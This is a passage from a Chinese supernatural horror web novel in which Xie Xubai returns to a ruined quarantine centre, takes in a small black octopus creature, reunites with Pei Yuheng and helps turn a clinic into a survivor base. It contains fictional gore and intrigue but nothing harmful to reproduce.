看见谢叙白,它们惊喜地张开血盆大口,又在下一秒被金光抽飞,夹着尾巴呜咽逃跑。 谢叙白收回视线,继续往前走。 他很少看见人影,即使有,也和接报员一样,机械性地重复着单一固定的人类活动,除非被刺激或阻挡,不会表现出很强的攻击性。 白雾弥漫,整座城市繁华而寂寥,透着淡淡的死气。 最后,谢叙白在城市边缘停了下来。 湛蓝的海水拍上海岸,溅起白色的水沫,犹如一朵朵绽放的鲜花,阳光的照耀下,波光粼粼。 H市一面临海,因为面积较大,东西方向主干道横跨有一百多公里,中间隔着群山峻岭。居住在城市中心地段往后的人,嗅不到海水的咸腥。 还记得江家的事情了结后,吕向财提议带他来海边开派对看鲸鱼迁徙。 当时谢叙白很是心动,但最终没有答应,而是选择和猫猫狗狗、江同学一起去游乐园、电玩城,逛逛商场以及游览本地的风景名胜。 他不明白自己为什么会拒绝。 谢叙白站在礁石上,望着一望无际的大海。 海水拍抚海浪,潮起潮落,似乎将一团乱麻的内心也冲刷了个彻底,恍惚间只剩一片宁静。 这里很适合思考,他的猜想逐渐清晰。 ——整个异空间,就像一个逐步搭建起来的试炼场。以污染源为中心朝外扩张,黑暗物质驱散白雾,占领地盘,散播污染,异化生灵,直至侵袭整座城市。 按照一般发展,会有越来越多的人误入这个异空间,不幸的人感染成怪物,继而传染更多的人。 怪物越来越多,扩张越来越快,等到联盟政局反应过来的时候,大灾变已经降临,且一发不可收拾。 二十多年后,谢叙白生活的时代,土地被切割成数个地盘,拥有各自的规则,成为滋养诡异的温床,时间空间随时失序,世界也被异化得七七八八。 而二十多年前的今天,异化似乎才刚刚起步,顶天进行到一半。 【我感觉到自己好像看清了一部分历史,但仅是一小部分,尚且不能窥见冰山暗藏在水下雄伟壮观的全貌。】 海边确实是个很适合思考和躲闲的地方。 但这里找不到更多的线索,所以谢叙白只允许自己在这里逗留三分钟。 三分钟一到,他果断转身,不带留恋地往前走,将好不容易感受到的安宁抛之脑后。 谢叙白不知道的是,在他之后,白雾再次翻涌,浪潮声起,乌云密布,声势比之前还要浩大无数倍。 一根漆黑的触手从深不见底的海域探出,仿佛长得没有尽头,在细白沙粒铺造的沙滩留下一串蜿蜒粗大的水痕。 触手一路往上,直至触及谢叙白方才站立的地方才停下,尖尖打着圈儿在礁石上划来划去,“嗅”着空气中残留的气息和精神力波动。 气息淡淡的,很好闻,带着雨后江南的温润细腻。 耀眼却不灼热的精神力,无声温暖着冰冷的寒潮。 祂很喜欢,纯粹的喜欢,想要占为己有。 本就不平静的海水表面更加汹涌,漆黑的暗流形成凶猛的漩涡。 雷鸣大作,狂风呼啸,一双猩红似血的眼睛在几万公里下的深海里倏然睁开,目不转睛地凝视着谢叙白离开的背影。 没人想过谢叙白会走半个月这么长时间,包括谢叙白自己。 他时刻关注时间,若是遇到磁场干扰手机息屏,就以日升月落为计时基准。 他以为自己最多离开了两天。 乃至于在看见变成一片废墟的卫生检疫中心时,刹那间没能反应过来,大脑嗡的一声,一片空白。 第95章 小黑章鱼 如果只是卫生防疫中心受袭,还不足以动摇谢叙白的内心。 微风吹过,带起一阵浓郁的血腥味。 无数具穿着防护服的尸体被压在倒塌的砖墙,汩汩鲜血浸染大地,将地面染成暗红色。没有一具尸体是完好的,血肉、骨头和脏器被暴力地撕扯出来,七零八落地散落着。 午后的天光被厚重的云层所吞没,唯有一道阳光穿过缝隙,落在废墟间的角落,明暗交接,形成一条鲜明的分界线。 黯淡的光线聚拢处,有一只手臂,清瘦、肌肉线条明显,指节突出,五指修长。 谢叙白顺着手臂往前看,看到手臂的主人正脸偏向内侧阴影,半个尸身被啃得血肉模糊,甚至能看见森白的骨骼,破碎的脏器沾在骨头上,啪嗒一声掉落下来。 谢叙白的呼吸都要停止了。 而在他身后不远处,一团只有拳头大小通体漆黑的阴影爬上废墟的高处。地上很多灰尘,但它的身上没有沾染半分。 它伸出一截触手,发现皮肤有点脱水干裂,招来白雾将其润湿,随后看向站在原地似乎肝胆俱裂的谢叙白,猩红血瞳透着他人为之胆颤的冰冷。 只一眼,它就发现谢叙白中了幻术。 而袭击青年的始作俑者正隐藏在废墟的阴影中,贪婪地张开嘴巴,滴下浓稠渴望的涎水,不断朝毫无知觉的猎物逼近。 被它视为囊中之物的谢叙白竟然遭到其他怪物的觊觎,这让它很不高兴。 它抬了抬触手尖尖,准备将那只贪心的幻影诡怪撕成碎片。 一道金光却比他更快出手,划过半空留下一道凌厉的光辉,直接贯穿幻影怪的头颅,将它钉在地上! 青黑色的血液迸溅。 幻影怪物甚至来不及惨叫出声,便咽了气。 死后尸体一寸寸地染上石膏白,像破碎的蜡像,被风一吹,化作为飞灰消散。 笼罩在废墟上的幻象一阵扭曲,地上大片的血色如潮水般褪去,露出光秃秃的碎石和砖瓦。 包括谢叙白望见的裴玉衡的尸体,也一并跟着消失。 他转眼环顾四周。 部分墙体倒塌,但防疫中心的主体架构还维持着原样,没有大面积损坏。地上躺着一两具尸体,鲜血已经干涸,凝成暗红的血痂。虽说惋惜,但比起刚才看见的人间炼狱、绝望之景,已经好上许多。 物品架、柜台、桌面和食物储备室空荡荡,几个关键的仪器设备消失,地面有几道重物被拖曳移动的痕迹,尽头则残留着几个明显的车轮印,深深地压进泥土中,证明被带走的人或物很多。 通过以上发现,谢叙白推测卫生防疫中心的人应该是在遇到危险的时候,有序进行了转移。 他转过身。 头顶的乌云是幻术,幻影怪死亡,幻象跟着消失,大片光线也随之倾泻在那道颀长削瘦的身影上。 他神情淡然,波澜不惊,遭遇幻术前后眼神没有一丝变化。 透明的眼镜片反射出一阵清浅的微光,似清澈山泉表面流光掠影,动人心魄。 漆黑的小八爪鱼杵在石头上,一动不动。 好半天,才想到收回停滞在半空中的触手。 触手尖尖蜷成拳头,抵在圆滚滚的下巴上。 它有点疑惑,沉吟思索自己是不是和眼前的青年人类见过面,又是什么关系。 将记忆翻了个底朝天后,它得出的答案都是否。 很奇怪。 ——要是根本不认识,或是一点关系也没有,为什么青年戴着的金丝细框眼镜还有他脚下的影子,全是自己的气息? 意想不到的发现,让它改变将谢叙白直接带入深海的打算。巴掌大的小圆章鱼触手撑地,如同人类行走,毫无声响地靠近底下的人影。 谢叙白在门口较为显眼的地方,发现一串莹亮的文字,是玩家A预防他回来后找不到人,撤离前留下的消息。 上面写着,裴玉衡等人终于在第七天左右成功提取出污染物质,众人顿时喜出望外,却没想到在他们着手研究抑制药物的时候,被看押隔离的病人像是引发多米诺骨牌效应,一连串地异化成蛞蝓怪。 强大的怪物气场相斥,弱小的怪物成群结队。 蛞蝓怪大量且不受控的增殖,吸引来众多怪物,组建成密密匝匝的怪物潮。 卫生防疫中心基于正常的疫病防护而建立,要解决的只有病毒和人,当然不可能持有能够对抗怪物潮的军用级防护和重火力武器。所有工作人员商量后一合计,决定转移阵地。 至于转移到什么地方,玩家A没有提,大概是怕其他玩家或不轨之人看见后追上来。 但谢叙白知道,有一个资源储备齐全、且防护墙得到重筑加固、设有陷阱的卫生所,裴玉衡他们应该不会吃力不讨好选择其他地点。 重点是玩家A的下一条留言。 【大佬,有点不对劲,我亲眼看见挂钟时针抓过十二点,但生存天数没有减少!】 【难道说异空间和外界流速不同,又或者在异空间里度过的日子,不计入系统规定的生存时限?艹,这也太坑了吧,你那边是不是一样的情况?】 谢叙白不是玩家,无法看见生存时限的变化。 他四下寻找,在墙壁上发现玩家A为了辨别时间而留下的三个“正”字,不由得沉了沉脸色。 一个“正”有五画,代表五天,三个正就是十五天。 难道说在玩家A他们看来,自己竟然离开了十五天那么久? 不,记录为十五天,是因为玩家A等人在十五天后撤离,这中间到底过了多长时间,谢叙白无从得知。 他需要尽快和裴玉衡等人会面。 谢叙白转身,却猝不及防地和一对豆子大小的猩红血瞳对上了眼。 巴掌大的阴影不懂扭捏,也不知道那八根触手是怎么移动的,眨眼间便来到谢叙白的脚下。 它伸出一根触手,碰碰谢叙白的影子。 影子里荡开一阵剧烈的波动,像没睡饱的孩子在不满宣泄起床气,将它的触手毫不客气地拍开! 【睡觉呢,别闹。】 它很意外。 影子里是一截离体的躯壳碎片,拥有完全独立的自我意识,性情骄蛮,不惮于忤逆本体,简直前所未闻。 不管怎么说,躯壳碎片脱体的危害性极大。 它需要将其处理。 然而在它动手之前,眼前审视打量他的青年倏然动了。 没有害怕,没有畏惧。 对方忽然蹲下身,和它离得极近,又伸出手摊开掌心,做出邀请的姿势,笑了笑说:“要不要和我一起走?” 谢叙白的眼神,让它意识到人类青年是认识自己的。 ——也或许不是认识它,而是认识一个和它力量本源相似、又有着相同外貌形态的家伙,将自己错认成那个存在。 它很快纠正自己的误判。它的本体很完整,小一不是它的躯壳碎片,不能冒冒失失地将之摧毁。 “不走吗?”谢叙白看它一直不动,问道。 黑色小章鱼无声地与他对视,这个角度比站在高处更能看清楚谢叙白被遮挡在镜片后的眼睛。 澄澈、剔透,眉眼晕染着温柔的笑意。 它动了动触手,鬼使神差地搭在谢叙白的掌心。 半小时后,谢叙白肩膀顶着一只闭目小憩的高冷漆黑小章鱼,抵达城南偏角的卫生所。 他没有猜错,防疫中心的人都撤离到了此处,并且对防护墙进一步修建。卫生所门口挖出一个又深又大的坑洞,洞底满是狰狞的尖刺,四周的围墙修高到三米,墙头一圈又一圈地缠着密密匝匝的铁丝网,通上高压电。 眼前的卫生所,不再是谢叙白当初所见的小破房子,初具幸存者基地的规模。 【这一刻,我对第一医院的认识更深了。】 另一边,异空间内众多衣衫褴褛的幸存者聚集在昏暗狭窄的密闭房屋,唇皮干裂,面黄肌瘦,似乎忍饥挨饿了好几天。 “怎么办?难道就这样等死吗?” “我不想变成怪物!” “谁想啊??” “该死的,事到如今只有听从那个疯子的吩咐了!你们还记不记得他的要求是什么?” “我记得,他要找一个叫谢叙白的人,可以断胳膊断腿没嘴没耳朵,但必须活着带到他的面前!” 第96章 重逢 暗处的密谋坑害谢叙白无从得知。 他沉下心安静感应,将精神力铺展至卫生所的上空,所有活物的精神力波动逐渐呈现在他的脑海,五彩斑斓,情绪各有高低起伏,宛若曲谱上跃动的音符。 没花多长时间,谢叙白就发现了裴玉衡的踪迹,同时也发现了对方身边的李医生。 两人都安然无恙,让谢叙白紧绷的心脏顿时一松。 他暂时没有找到玩家A,正搜寻时,却瞥见不远处尘土滚滚,一辆改装面包车疾驰而来,刺啦一声刹停在门口。 这辆面包车显然刚经历一场恶战,车身坑坑洼洼,车尾被硬生生撞凹陷下去,挡风玻璃被砸碎,上面的污血早已凝固。 一队人灰头土面地下了车,身上多多少少都负了伤,缠着的白色绷带渗出鲜红血色。 几人中传来玩家A的精神力波动,谢叙白集中注意力,很快锁定一个其貌不扬的男人,认出那是伪装后的玩家A。 为首的寸头花臂男嘭的一声将车门甩上,眉毛紧皱,笼罩着一层还未消散的阴翳。 留守卫生所门口的其他人迎上前,马不停蹄地问。 “怎么样?有没有找到出口?” 花臂男:“你也不用自己那颗脑仁堪比核桃仁的脑袋瓜想一想,我们要是真找到了出口,你还指望我们会回来?” 这话回得很不客气,满是讥讽,问话的瘦男人登时被刺得脸色涨红,怒目看去:“你——” 结果一个字没说完,被花臂男含着戾气的眼睛一扫,像被无形的手掐住脖子,瞬间胆寒噤声。 花臂男更加不屑,往地上淬了口唾沫,他的队友跟着意有所指地开骂。 “一群贪生怕死的废物。” “往外走两步就双腿打哆嗦,指望别人给他们找出口。” “要不是事发突然,谁稀罕留在这个破烂卫生所,真把我们当下手使唤了?” 瘦男人气得发抖,其他人的脸色也不好看。 然而目视这群壮汉虬实雄壮的身体,他们又不免瑟缩,憋着气来到面包车前。 只一眼,众人的脸色愈发铁青。 看守直接冷着脸将车里的东西拽了出来。一箱压缩饼干,一箱装着毛巾、牙刷等杂物的生活用品。 除此以外,各种报废的电子器械塞满后座,线路板折成两半,看着像滥竽充数的,有用的物资少得可怜。 见花臂男小队头也不回地往前走,看守怒了,压不住火气开吼:“出发前你们申请带走十套防护服,七人份小一月的食水,武器、急救药品三大箱,结果就带回来这些破烂?!” 花臂男停下脚步,毫不忌讳地冷笑道:“嫌我们只能带破烂回来,那你们自己派人出去搜啊?又不是没手没脚。” 看守额上青筋暴跳,怒火噌噌地往上涨,正准备驳斥回去的时候,突然门口传来一阵骚动,原来是裴玉衡闻讯赶了过来。 谢叙白一怔,敏锐地发现裴玉衡的气质变了。 脸还是那张脸,却很难再瞧见青涩的痕迹,走路带风,身姿挺拔,眼神比往日更冷,像是淬了冰的尖刀,竟然让张狂跋扈的花臂男也不由得收敛三分。 看守大声告状:“所长,你看他们带回来的这些破烂,他们要不是没有认真搜寻物资,要不就是有独吞!” 花臂男扭头吆五喝六:“放你X的屁!什么破烂,都是老子们拿命换来的!所长你给评评理!” 裴玉衡冷漠的视线往人群中一扫,没有应和那些七嘴八舌的告状,也没有回应花臂男的话,而是问:“少了三个人,他们怎么了?” 话里的担忧不掺假,其他人都只关心出口和物资,裴玉衡却是第一个注意到伤亡的人,由这种看似冷心冷清的人讲出来才最动人心弦。 小队的人僵住,连花臂男也不免动容,嚅嗫嘴唇,半晌丧气地抹了把脸:“死了。两个被咬断半截身子,肠子洒了一地,塞都塞不回去。一个感染病毒,当场异变成怪物,只能就地处理。” 队友一下子死伤过半,任谁都很难接受这样的打击,所以花臂男从头到尾都没什么好脸色。 裴玉衡拍拍花臂男的肩膀:“带你的人去休息吧,其他人把东西搬进去,找技术部的人看看有没有什么能用的。” 花臂男本是故意带些破铜烂铁回来,气一气这些只知道躲在卫生所里的人,见裴玉衡满脸认真,眼中难得掠过一抹歉愧。 花臂男本来已经走出去了,似乎挣扎几秒,又走了回来:“所长,你一会儿有空吗,我有件事想找你单独聊聊。” 裴玉衡点点头。 但花臂男要找他聊的内容,不多时,伪装潜伏在小队中的玩家A便私底下全数告诉给了裴玉衡。 “他们确实吞了东西,半仓库的食物、两个药店的库存,都被转移到一个商场的地下室。这些人藏匿的动作很熟练,我猜他们不止一次昧下物资。” 裴玉衡神色不变:“本来就是临时合作的关系,东西也是他们找的,拿就拿吧。” 玩家A嘴角抽搐:“说得大方,我们可是又出资又给他们提供了庇护所。” 裴玉衡淡淡地嗯了一声:“所以你回头把他们藏东西的地点秘密告诉另一个临时合作的小队,让他们去把物资带回来,如果昧下的物资也超过50%,就从里面找点标志性的物品故意让人看见,把消息传开。” 玩家A很快回过味来,这不就是栽赃嫁祸让他们狗咬狗一嘴毛么,瞬间对裴玉衡肃然起敬:“你真是越来越像裴余……”那只狐狸了。 话没说完,裴玉衡那张冰封的脸倏然一变,让玩家A意识到自己提到了不该提的名字,忙不迭地闭嘴。 他可见识过裴余许久未归时裴玉衡几乎发疯的样子。 头两天这名NPC还坐得住,第三天无论如何也要跟着搜救队出去找人。 卫生检疫中心的人拿裴玉衡当宝贝,起先意图诱导他们加入志愿者的男人,更是把他当成能够挟持谢叙白的人质,看似保护实则软禁,将裴玉衡强行留在中心。 NPC的身板非常脆,出去只有死路一条。玩家A不想再出意外,希望裴玉衡能安安稳稳地留在中心等谢叙白归来,睁一只眼闭一只眼,没有帮忙。 即便是李医生,也低估了昔日同事处于生死险境下的劣根性。 当他试图将裴玉衡带出来时,男人直接带着人堵在出口,激情争吵,甚至是拳脚相向。 在这个异空间,人们的一切负面情绪似乎都会被无限放大,他们变得更加胆怯、易怒乃至于疯狂。 也是这个时间段,病人的病情毫无征兆地爆发了。 病毒传染速度极其快速,没来得及穿上防护服的人全部中招,化身凶猛残暴的怪物,扑咬其他人,血液四溅。 整个卫生防疫中心顷刻间化为人间炼狱。 彼时裴玉衡有机会直接离开,他的身上不知道叠了多少个防御道具,受到攻击后会触发。 防疫中心的人强硬留下他时小心翼翼地避开这一点,满脑子只想吃人的怪物却没有这么高的智商,至少当时没有。 但看着李医生这类无辜的工作人员,裴玉衡快要跑出大门口的脚步逐渐停了下来。 他站在原地,听着身后凄厉的惨叫,双拳攥紧深吸几口气,一趟又一趟地来回跑,借着自己身上的防御道具,救下不少人,又将他们安置在卫生所的地下实验室,拽着能帮忙的玩家A出来满世界找人。 这次玩家A再也拗不过裴玉衡。 他也不知道自己当时是昏头了还是怎么样,居然能眼睁睁地看着裴玉衡被软禁,事后吓出一身冷汗,要不是谢叙白多做了好几层防护,裴玉衡没准真要出事。 裴玉衡则表示自己唯一的要求就是出去找人,可他们把能去的地方都去了,也没有发现导师周潮生和谢叙白的身影。 两人就像人间蒸发似的。 那段时间,裴玉衡的心态一直处于摇摇欲坠的边缘,归咎于是自己耽误时间,才没能顺利找到两人,痛苦至极。 是以谢叙白远远一眼就能看出裴玉衡的改变,洁净无暇的雪莲忽然长出锐利扎人的尖刺,怎能不显眼? 眼下裴玉衡显然不准备掠过“裴余”这个话题,状似风轻云淡,实则每个字都下了重音:“还没找到他么?” “找到谁?” 突如其来的嗓音在后方响起,裴玉衡两人都是一惊。 当前者颤抖着唇皮转身,猝不及防看见谢叙白那张熟悉的模样时,眼眶唰一下红了个彻底。 没等谢叙白再次开口,裴玉衡直接冲上来,死死地抱住他,即使涵养极好,也忍不住骂出声:“臭小子,这都快一个月了,你死哪儿去了?!” 一个月,比他想象中要久得多。 谢叙白的身体被裴玉衡勒得痛,隐约听到骨头咔嚓作响的细微动静,但是他没喊出声,反手拍拍裴玉衡单薄的后背。 从对方身上传来剧烈的精神力波动,无声地述说着失而复得的喜悦和庆幸,这股浓烈的情绪铺天盖地,比潮水汹涌,几乎将谢叙白淹没。 也是这个时候,谢叙白忽然意识到一个很严重的问题。 ——裴玉衡对他的在意程度,似乎比他想象中还要深刻,但他迟早要离开裴玉衡身边,回到属于自己的时代,到那个时候裴玉衡要怎么办? 诸如此类惊疑不定的顾虑,和裴玉衡不断起伏的呼吸一起拉扯着谢叙白的心脏。 他忍痛将被裴玉衡关爱的渴望死死压下去,强迫自己割裂情感,站在理智和冷静的一边,一点端倪都没表现出来。 不知道多久后,谢叙白终于哑声开口,第一句满是歉意:“对不起,让你们担心了。” 第二句话:“我有一些事情没弄明白,可能不久后还要离开。” 裴玉衡浑身一僵,松手,双眼通红,冷冷地瞪着谢叙白:“什么事情没弄明白?” 谢叙白摇头:“不能说。” 往日谢叙白回答不能说,裴玉衡考虑到他来自未来,自然有诸多顾虑,不会继续追问。 可是现在裴玉衡又惊又气,孩子失踪那么久,却把话说得这样轻描淡写,一个像样的解释都没有。 而且刚重逢就迫不及待地说别离,哪有这样的道理? 气氛一下子变得非常紧张。 玩家A来不及高兴谢叙白还活着,顿感头皮发麻,连忙转移话题:“还有一件事!联盟政局似乎发现了异空间的存在,打算安排救援部队进来救人!” 谢叙白目光一闪:“你在哪里发现这个消息?” 玩家A:“联盟政局,里面还有活人接报员,但不肯跟我们走,我们再三追问,他们才肯说出原因。不久前现实世界的电话打进他们单位的座机,他们短暂地和联盟的人取得联系,说明情况后又成功通话过几次。” “按理说进入这种类似里世界的隐藏地图后,除非找到破局的办法就没可能再出去。但那些接报员似乎很笃定会有人过来救援,也不知道是真的假的。” 谢叙白却知道这是真的。 他也知道这意味着第一医院即将迎来第一个重要节点。 大部分人被救走,被抛弃的老弱病残只能等死,而裴玉衡不忍心见那些被遗弃的人送命,自愿留了下来。 但重点不止在裴玉衡选择留下,还在不久之后,联盟政局看着一发不可收拾的局面,终于醒悟过来这场病害不简单,它超越了人类的固有认知和力量体系,放任发展只会造成更严重的灾害。 于是联合上表展开紧急会议,决定实施火力轰炸,物理肃清。 第97章 你为何不怕我 没一会儿花臂男找上门,避着其他人,把联盟政局的通知大概一说,劝说裴玉衡放弃卫生所,带上物资跟他们一起去联盟政局等待救援。 花臂男阳奉阴违这么多天,因为裴玉衡关注队友伤亡,似乎多了点真心实意,似笑非笑地道:“劝你别把这消息漏出去,也别指望给那些人提供庇护所他们就会感恩戴德,生死关头都是先考虑自己的命,真有机会跑出去谁能顾得上理你?” 裴玉衡:“多谢你的好意,我知道了。” 花臂男见他没有应下自己的邀请,轻嗤一声,丢下一句好言难劝该死的鬼,转头离开。 等人走了之后,裴玉衡看向谢叙白两人隐匿的位置,谢叙白现身,直白地陈述道:“他说得对,我们确实需要早做打算。” 他看出花臂男是在试探裴玉衡的口风,没有马上离开的意思,毕竟卫生所防护措施完善、物资充足,整个城南新区再也找不到比这里更安全的地方。 而联盟政局要救人的消息属于捕风捉影,现在还没个定数。 花臂男的态度也可以代表其他幸存者的态度,和逃出生天的希望比起来,大多数人都会选择弃卫生所而去,这点想也不用想。 重点在救援的名额有限。 为了让自己得到活命的机会,到时候不知道会爆发出何其恶劣的争端。 谢叙白刚才和玩家A打听了一下,裴玉衡在为人处世方面是干练凌厉许多,但善心不变、始终如一,但凡没有感染病毒的幸存者,他都是全盘接收,也不图别人能给自己带来什么利益,导致物资损耗方面逐渐吃紧,因为吃白食的人太多。 这种善良很容易被人糟践利用,现在如此,以后更甚。 于是谢叙白回到卫生所后的第一件事,就是大刀阔斧整改物资的取用条件。 除去手无缚鸡之力的小孩、病弱老人和残疾人士可以得到固定食水,其他人想支取物资,必须用贡献度来换。 贡献度,即为卫生所做出贡献所记入的积分,包括但不限于搜索物资、帮忙救人、建设卫生所加强防护等等。 之前裴玉衡也有意给卫生所多出一份力的人更多的酬劳和物资,只是到底不如谢叙白规划得更详细合理清晰。 公告一经发出,果不其然引起不少人的不满,升米恩斗米仇,以前可以白得的物资现在居然要付出劳动才能得到,谁肯干? 尤其是他们听说发号施令的人,居然是一个陌生的毛头小子,裴余?听都没听说过! 当即不少人义愤填膺地告到了裴玉衡那里,哪想到往日比较好说话体恤民众的裴玉衡,竟是睁一只眼闭一只眼。 谢叙白要整改规则,他无声默许。谢叙白要处理仗势欺人克扣他人贡献值的小人,他点头赞扬。 谢叙白把人打得头破血流,他询问后知道是那些人被收拾后暗中怀恨,合起伙来谋害谢叙白,当即就变了脸色,神情冷厉得几乎掉冰渣,让人将这些人丢出卫生所的大门,任由那些家伙在门口哭爹喊娘,跪地磕头求饶也不曾松口。 其他人见状,知道裴玉衡两人是铁了心要肃清卫生所,只好收起各自的小心思,安心投入建设。 也是在这样紧急迫切的督促下,卫生所的发展比之前足足快了一倍,不到半月的时间,甚至连战壕壁垒都修建了出来。 坚硬的防护墙赫然耸立,四座十米瞭望台全方位无死角地监控周遭,巡逻人员全副武装,铸铁大门在阳光下反射出金属的冷光。 看着彻底改头换面的卫生所,不,应该称其为城南小型基地,众人在饱含成就感的同时,不免一阵恍惚。 他们不知道往后救治成千上万人的第一医院将以此为基础扎根兴建,只隐隐约约地感觉到,这个其貌不扬的小型基地,往后或许能庇护很多人。 叮。 冰冷的提示声响起。 【参与第一医院早期的建设后,我感觉自己对第一医院有了更深层次的了解,我隐约可以感觉到规则的建立和构成。】 时间一晃快两个月,且不说为了抵抗怪物和病毒的侵袭有多难熬,生存天数一点都没有推进,还联系不到自己的队友,玩家A整天焦虑得抓耳挠腮。 谢叙白便腾出时间,为他梳理精神世界的负面情绪,把玩家A感激得眼泪汪汪:“大佬,你真好。” 他离开后,小黑章鱼忽然睁开眼。 一双漠然无情仿佛不会为任何事物所动的眼眸,似乎不经意地掠过还未消散的金光,又阖上。 它却没能如愿小憩。 一缕金光轻巧地缠绕它的触手,绚烂温暖,明亮舒适。那根触手不经撩拨,下意识缠绕回去,将金光死死拽紧。 顶上传来青年浅淡的笑声:“懒虫,可算愿意动弹了?” 小黑章鱼缓缓抬起眼,看见青年璨若繁星的眼睛自透明镜片后含笑看来。 过去的宴朔和未来很不一样,没有如火山喷发般汹涌的怒火,冷若深潭,仿佛无欲无求,无悲无喜,跟个锯嘴葫芦似的闷得很,到目前为止都没有说过一句话。 没等到它回应,谢叙白也不在意,连轴转了这么多天,即便他精神力很强悍也难掩疲惫,顺势将金丝眼镜取下来,按捏酸胀的眉心。 窗外忽地传来一阵欢笑声,细听是几个小孩子在追逐打闹。 这基地里的人,谢叙白在整理人员名单的时候大概见过一面,也记得这几个为数不多的小孩。 他们是裴玉衡出来找人时顺手救下的,父母没误入异空间,是万幸,也是不幸。 裴玉衡第一次见到他们,几个孩子缩在停水停电的昏暗居民楼里啃发臭的冻肉,化冻的血水淌了满手。 他们不知道多久没进食,面黄肌瘦,吃得狼吞虎咽,被手电筒的光照了脸,第一反应不是有人来救命,而是瞬间应激蹿出去,被逼到死角时直接抱着脑袋瑟瑟发抖,一个劲儿喊饶命救命。 据说他们曾亲眼目睹有人被怪物分尸,侥幸活下来后一直不敢出去,实在饿得不行才颤颤巍巍地爬上楼,找准一家没关窗的人家翻进去找吃的。 过后被带到卫生所,这几个孩子一直惊魂未定,好长时间没法正常开口说话。如今他们被养出一点肉,小脸红润许多,也似乎终于意识到自己此时是安全的,从阴影中挣脱,眼睛亮亮的,盛满劫后余生的欢快。 谢叙白看着看着,也情不自禁地舒上一口气,眉眼晕开一片真切温柔的笑意,落在小黑章鱼的视野里,当真是整个世界都明亮了一分。 再然后谢叙白就发现,自己的眼镜戴不回去了。 不知道什么时候,小黑章鱼飘到自己的面前,一根触手攥着金光,一根触手抵着他的眼镜。 那双猩红血瞳仔仔细细地看着他,好似毫无波澜的海面无风荡起一阵涟漪,专注、深邃、占有欲浓烈,直叫被凝视的人心里发毛。 谢叙白的心脏也忍不住漏了一拍,但他和宴朔相处这么久,已经摸清了这只章鱼的行事逻辑,当即笑了笑:“你不让我戴眼镜,我可就看不清你了。” 他没有近视,眼镜平光无度数,看不清什么的自然是谎话。 小黑章鱼却缓缓地将触手松开了,眼镜啪嗒一下落回原位。 明澈的眼似日暮夕阳落入地平线般落入镜片之后,好似有什么东西被隐藏起来,呈现出不一样的韵味。 小黑章鱼无声地歪了歪脑袋。 谢叙白想,自己当初大概就是被这一副天然的扮相蛊惑了心,才会下意识蹲下身,朝对方伸出手吧。 不动弹的章鱼存在感比空气高不了多少,可以忽略。 然而这天晚上睡觉时,闭上眼不久的谢叙白蓦地感觉自己脸上传来湿漉漉的凉意,滑腻粗长的触手摩挲他眉眼,用细长的尖端细细地勾描出轮廓,将金丝眼镜摘下,又戴回去,反复十几次,像是在做什么观察实验。 谢叙白对眼镜控没辙了,干脆睁开眼,打开灯,和小黑章鱼大眼瞪小眼。 后者一点没有打扰人睡觉的自觉,看到谢叙白睁开眼,才像是稍稍满足了一样,动作逐渐变慢,半抬着眼镜迟迟不肯松触手。 它无法明白自己的兴趣从何而来。 或许是青年的眼睛很亮。 但是这世上明亮的眼睛有那么多,形如珠宝,形如琥珀,美不胜收,为什么就这一双会不一样? 它又观察了几次,见谢叙白神色不变地任了它的动作,甚至配合地抬头,心里那混沌又模糊的疑惑终于变得清晰,破土而出。 【你……为何不怕我?】 是了。 它的存在对世间万物带有天然的震慑,这股震慑直接作用于灵魂,无法阻挡,只需与它对视十几秒钟,就会思维混乱,乃至于意识崩溃。 哪怕这是它的分身,它特地收敛了力量,也从来没有一双眼睛敢这么光明正大地直视它,面对它。 更没有任何一只手敢堂而皇之地递到它的面前,向它发出邀请。 它就像百无聊赖、孤寂乏味的观众,毫无准备地被幕中人笑着拉入五彩斑斓的荧幕,于惊讶中,就近体会到前所未有的悲欢离合。 “倒也没有那么不怕。”谢叙白闻言无奈地笑了一声,拉起小黑章鱼的触手搭在自己的手腕上,让它感受加快的脉搏。 小黑章鱼顺势摸了摸,人类的肢体过于脆弱,轻轻一下就能折断。 谢叙白:“不过,比起害怕,我更多的是高兴。” 在一个全然陌生的年代,遇到一个熟悉的人,那一刻,谢叙白甚至顾不上宴朔对自己的食欲,下意识就朝小黑章鱼勾起唇角,胸口漾开久违的喜悦。 小黑章鱼不说话,只是摸着谢叙白的手腕。 青年的脉搏在微妙地趋于平静。 对它来说,这似乎是一种很新奇的体验,新奇到不再执着于谢叙白的眼镜。 直到青年入睡,它也没有松开触手,吸盘紧贴着血管,静静地聆听那一段绵长、微弱又蓬勃的跳动。 在那之后又不知道过了多少天,里世界的天空倏然裂开一道暗红色的口子。 幸存者们还来不及反应,便在眨眼时,猝不及防地看见街道上黑压压的人群。 突然掉进里世界的人们看着这熟悉又陌生的一幕,慌张至极。 “靠!这里是什么地方?” “这里是城南新区?不对劲啊,为什么房子都塌了?” “大家快来看啊,血,这里有好多血!不不不这都是什么?怪物,怪物啊啊啊!” 里世界对现实世界的污染扩张,比联盟政局的救援更快地到来。 第98章 污染扩散 彼时谢叙白几人正在高污染区附近取样。 这还得往前说起——有了裴玉衡的知识储备和高技术力支持,李医生等人终于不负众望,成功提取出污染物质:一种会不断变化形态的猩红色活性细胞。 众人差点喜极而泣! 他们不敢耽搁,合力研究病毒的抑制药物,然而刚起步就犯了难。 纵观全球,中药的药效物质和西药的化学合成物质加起来数不胜数,一个个实验过去要验到猴年马月。 更别提城南新区属于新建区县,正儿八经的医疗机构都没几家,从哪儿去找那些稀有全面的药物? 也是这个时候,谢叙白尝试性提出一个想法,毒蛇出没,七步之内必有解药,或许他们可以在怪物体内找到抑制怪物的药用元素。 其实这句名言存在谬误,但也有一定的合理性——如果一个毒物大量繁衍,发展成种群,那么其他无法迁移的生物为了在这里顺利存活下去,就会进化出相应的抗毒基因,如蛇獴具有免疫蛇毒的能力,这就是自然选择,也是协同进化。 几名垂头丧气的研究人员听到这话,立时大受启发! 看到越来越多的同伴在这场异变灾害中丧命,他们悲痛欲绝,迫切想要战胜病毒的欲望,竟然压制住对怪物和死亡的畏惧,不惜冒着生命危险潜入高污染区,着力提取怪物的分泌物。 经由他们的前赴后继、视死如归,才有后世成熟、完善且成体系的异化对抗措施。 穿着白色防护服的研究人员手里拿着长柄探测器,小心翼翼地走在残垣断壁之间,时不时弯下腰,用形似吸管的尖头吸取墙上残留的黑色污血。 谢叙白守在一旁,余光捕捉到走廊拐角影影绰绰的身影。 那可能是怪物,可能是幸存者,他想往前一探究竟,岂料空气中的黑暗物质狂欢似的起舞,白雾如同冰冷的触手抚摸上他的脚踝,激起一片鸡皮疙瘩。 